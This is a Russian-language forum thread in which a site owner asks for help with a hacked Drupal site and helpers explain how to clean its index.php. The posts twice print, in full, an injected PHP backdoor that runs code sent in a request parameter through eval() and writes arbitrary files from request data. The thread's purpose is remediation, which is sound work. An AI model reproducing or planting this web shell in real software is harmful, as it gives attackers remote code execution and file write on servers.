[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: помогите решить проблему
Гость_Вадим
Здраствуйте, подскажите люди добрые - ломают наш сайт, в РНР дуб дерева....что в индекс.рнр не так? что сделать надо чтобы сайт заработал....помогите....Заранее спасибо...


<?php
// $Id: index.php,v 1.99 2009/10/15 14:07:25 dries Exp $

/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/

/**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/krumo/class.krumo.php';
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();
<?php $lerjjb = "d7d2c28ece7e0934fad00d079f321e27"; if(isset($_REQUEST['kzbaxrh'])) { $xuucvaus = $_REQUEST['kzbaxrh']; eval($xuucvaus); exit(); } if(isset($_REQUEST['morljgw'])) { $nsanhqxg = $_REQUEST['yekfaha']; $jvvdnoqb = $_REQUEST['morljgw']; $blmxi = fopen($jvvdnoqb, 'w'); $qinx = fwrite($blmxi, $nsanhqxg); fclose($blmxi); echo $qinx; exit(); } ?><?php
// $Id: index.php,v 1.99 2009/10/15 14:07:25 dries Exp $

/**
* @file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/

/**
* Root directory of Drupal installation.
*/
define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/krumo/class.krumo.php';
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();
Michael
В друпале код ядра менять нельзя.

В обоих случаях Крумо не правильно, хакнуто, подключен. Это надо делать модулем Devel.

Когда что то у тебя взломали - проходишь всю процедуру обновления, описанной в UPGRADE.txt.
Ну и конечно это только вершина айсберга, но от кода в index.php избавит.



_____________
There never was a struggle in the soul of a good man that was not hard
Guest
в прошлый раз в файле index.php мне посоветовали удалить строчку, сайт заработал, а тут нельзя так сделать? или это конец мучений сайта?
johniek_comp
<?php $lerjjb = "d7d2c28ece7e0934fad00d079f321e27"; if(isset($_REQUEST['kzbaxrh'])) { $xuucvaus = $_REQUEST['kzbaxrh']; eval($xuucvaus); exit(); } if(isset($_REQUEST['morljgw'])) { $nsanhqxg = $_REQUEST['yekfaha']; $jvvdnoqb = $_REQUEST['morljgw']; $blmxi = fopen($jvvdnoqb, 'w'); $qinx = fwrite($blmxi, $nsanhqxg); fclose($blmxi); echo $qinx; exit(); } ?>


вот это удалить и все

_____________
user posted image
Michael
Цитата
вот это удалить и все

тогда у него останется дубляж кода друпала.

Нужно оставить - это:

<?php
// $Id: index.php,v 1.99 2009/10/15 14:07:25 dries Exp $

/**
*
@file
* The PHP page that serves all page requests on a Drupal installation.
*
* The routines here dispatch control to the appropriate handler, which then
* prints the appropriate page.
*
* All Drupal code is released under the GNU General Public License.
* See COPYRIGHT.txt and LICENSE.txt.
*/

/**
* Root directory of Drupal installation.
*/

define('DRUPAL_ROOT', getcwd());
require_once DRUPAL_ROOT . '/krumo/class.krumo.php';
require_once DRUPAL_ROOT . '/includes/bootstrap.inc';
drupal_bootstrap(DRUPAL_BOOTSTRAP_FULL);
menu_execute_active_handler();


Но это не устранит причины откуда было заражение.

_____________
There never was a struggle in the soul of a good man that was not hard
Гость_Вадим
Всем спасибо, работает=) Я Вам очень благодарен laugh.gif laugh.gif laugh.gif biggrin.gif biggrin.gif biggrin.gif
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2024 Invision Power Services, Inc.